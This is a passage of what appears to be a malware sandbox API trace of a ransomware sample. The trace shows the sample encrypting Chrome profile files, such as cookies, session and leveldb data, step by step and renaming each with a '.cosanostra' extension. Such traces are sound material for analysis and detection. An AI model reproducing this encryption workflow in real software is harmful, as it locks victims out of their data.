HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session.cosanostra")) returned 1 [0084.103] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc18 | out: pbBuffer=0x26ffc18) returned 1 [0084.103] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc10*=0x30) returned 1 [0084.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0084.103] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 95 [0084.103] StrStrW (lpFirst="Cookies-journal", lpSrch=".txt") returned 0x0 [0084.103] ReadFile (in: hFile=0x16c, lpBuffer=0x2f4ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesRead=0x26ffbd4*=0x0, lpOverlapped=0x0) returned 1 [0084.103] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.104] WriteFile (in: hFile=0x16c, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffbd4*=0x0, lpOverlapped=0x0) returned 1 [0084.104] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.104] WriteFile (in: hFile=0x16c, lpBuffer=0x26ffc14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x26ffc14*, lpNumberOfBytesWritten=0x26ffbd4*=0x4, lpOverlapped=0x0) returned 1 [0084.104] WriteFile (in: hFile=0x16c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbd4*=0x30, lpOverlapped=0x0) returned 1 [0084.105] CloseHandle (hObject=0x16c) returned 1 [0084.105] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal.cosanostra") returned 106 [0084.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal.cosanostra")) returned 1 [0084.105] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc10 | out: pbBuffer=0x26ffc10) returned 1 [0084.105] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc08*=0x30) returned 1 [0084.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0084.106] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 87 [0084.106] StrStrW (lpFirst="Cookies", lpSrch=".txt") returned 0x0 [0084.108] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffe400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.108] WriteFile (in: hFile=0x16c, lpBuffer=0x2f4ea0*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x26ffbcc, lpOverlapped=0x0 | out: lpBuffer=0x2f4ea0*, lpNumberOfBytesWritten=0x26ffbcc*=0x1c00, lpOverlapped=0x0) returned 1 [0084.108] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.108] WriteFile (in: hFile=0x16c, lpBuffer=0x26ffc0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbcc, lpOverlapped=0x0 | out: lpBuffer=0x26ffc0c*, lpNumberOfBytesWritten=0x26ffbcc*=0x4, lpOverlapped=0x0) returned 1 [0084.108] WriteFile (in: hFile=0x16c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbcc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbcc*=0x30, lpOverlapped=0x0) returned 1 [0084.108] CloseHandle (hObject=0x16c) returned 1 [0084.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies.cosanostra")) returned 1 [0084.224] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc08 | out: pbBuffer=0x26ffc08) returned 1 [0084.224] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffc00*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffc00*=0x30) returned 1 [0084.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.225] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 111 [0084.225] StrStrW (lpFirst="MANIFEST-000001", lpSrch=".txt") returned 0x0 [0084.226] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.226] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x26ffbc4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbc4*=0x29, lpOverlapped=0x0) returned 1 [0084.226] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.226] WriteFile (in: hFile=0x178, lpBuffer=0x26ffc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbc4, lpOverlapped=0x0 | out: lpBuffer=0x26ffc04*, lpNumberOfBytesWritten=0x26ffbc4*=0x4, lpOverlapped=0x0) returned 1 [0084.227] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbc4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbc4*=0x30, lpOverlapped=0x0) returned 1 [0084.227] CloseHandle (hObject=0x178) returned 1 [0084.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.cosanostra")) returned 1 [0084.227] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc00 | out: pbBuffer=0x26ffc00) returned 1 [0084.227] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbf8*=0x30) returned 1 [0084.228] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.228] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 99 [0084.228] StrStrW (lpFirst="LOG", lpSrch=".txt") returned 0x0 [0084.229] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.229] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbbc*=0x9a, lpOverlapped=0x0) returned 1 [0084.229] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.229] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x26ffbfc*, lpNumberOfBytesWritten=0x26ffbbc*=0x4, lpOverlapped=0x0) returned 1 [0084.229] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbbc*=0x30, lpOverlapped=0x0) returned 1 [0084.230] CloseHandle (hObject=0x178) returned 1 [0084.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.cosanostra")) returned 1 [0084.230] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc00 | out: pbBuffer=0x26ffc00) returned 1 [0084.230] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbf8*=0x30) returned 1 [0084.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.231] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 100 [0084.231] StrStrW (lpFirst="LOCK", lpSrch=".txt") returned 0x0 [0084.231] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.231] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbbc*=0x0, lpOverlapped=0x0) returned 1 [0084.232] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.232] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x26ffbfc*, lpNumberOfBytesWritten=0x26ffbbc*=0x4, lpOverlapped=0x0) returned 1 [0084.232] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbbc*=0x30, lpOverlapped=0x0) returned 1 [0084.233] CloseHandle (hObject=0x178) returned 1 [0084.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock.cosanostra")) returned 1 [0084.233] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbf8 | out: pbBuffer=0x26ffbf8) returned 1 [0084.233] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbf0*=0x30) returned 1 [0084.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.234] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 103 [0084.234] StrStrW (lpFirst="CURRENT", lpSrch=".txt") returned 0x0 [0084.234] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.234] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbb4*=0x10, lpOverlapped=0x0) returned 1 [0084.235] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x26ffbf4*, lpNumberOfBytesWritten=0x26ffbb4*=0x4, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbb4*=0x30, lpOverlapped=0x0) returned 1 [0084.235] CloseHandle (hObject=0x178) returned 1 [0084.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current.cosanostra")) returned 1 [0084.235] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbf8 | out: pbBuffer=0x26ffbf8) returned 1 [0084.235] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbf0*=0x30) returned 1 [0084.236] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 106 [0084.236] StrStrW (lpFirst="000003.log", lpSrch=".txt") returned 0x0 [0084.237] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffeaa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.237] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbb4*=0x156, lpOverlapped=0x0) returned 1 [0084.237] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.237] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x26ffbf4*, lpNumberOfBytesWritten=0x26ffbb4*=0x4, lpOverlapped=0x0) returned 1 [0084.237] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbb4*=0x30, lpOverlapped=0x0) returned 1 [0084.237] CloseHandle (hObject=0x178) returned 1 [0084.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.cosanostra")) returned 1 [0084.240] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbf0 | out: pbBuffer=0x26ffbf0) returned 1 [0084.240] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbe8*=0x30) returned 1 [0084.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.242] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 124 [0084.242] StrStrW (lpFirst="MANIFEST-000001", lpSrch=".txt") returned 0x0 [0084.243] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.243] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x26ffbac, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffbac*=0x29, lpOverlapped=0x0) returned 1 [0084.243] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.243] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffbac, lpOverlapped=0x0 | out: lpBuffer=0x26ffbec*, lpNumberOfBytesWritten=0x26ffbac*=0x4, lpOverlapped=0x0) returned 1 [0084.243] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffbac, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffbac*=0x30, lpOverlapped=0x0) returned 1 [0084.243] CloseHandle (hObject=0x178) returned 1 [0084.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001.cosanostra")) returned 1 [0084.244] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffbe8 | out: pbBuffer=0x26ffbe8) returned 1 [0084.245] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x26ffbe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x26ffbe0*=0x30) returned 1 [0084.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0084.246] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 112 [0084.246] StrStrW (lpFirst="LOG", lpSrch=".txt") returned 0x0 [0084.246] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.246] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffba4*=0xa7, lpOverlapped=0x0) returned 1 [0084.247] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.247] WriteFile (in: hFile=0x178, lpBuffer=0x26ffbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x26ffbe4*, lpNumberOfBytesWritten=0x26ffba4*=0x4, lpOverlapped=0x0) returned 1 [0084.247] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffba4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x26ffba4*=0x30, lpOverlapped=0x0) returned 1 [0084.247] CloseHandle (hObject=0x178) returned 1 [0084.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js 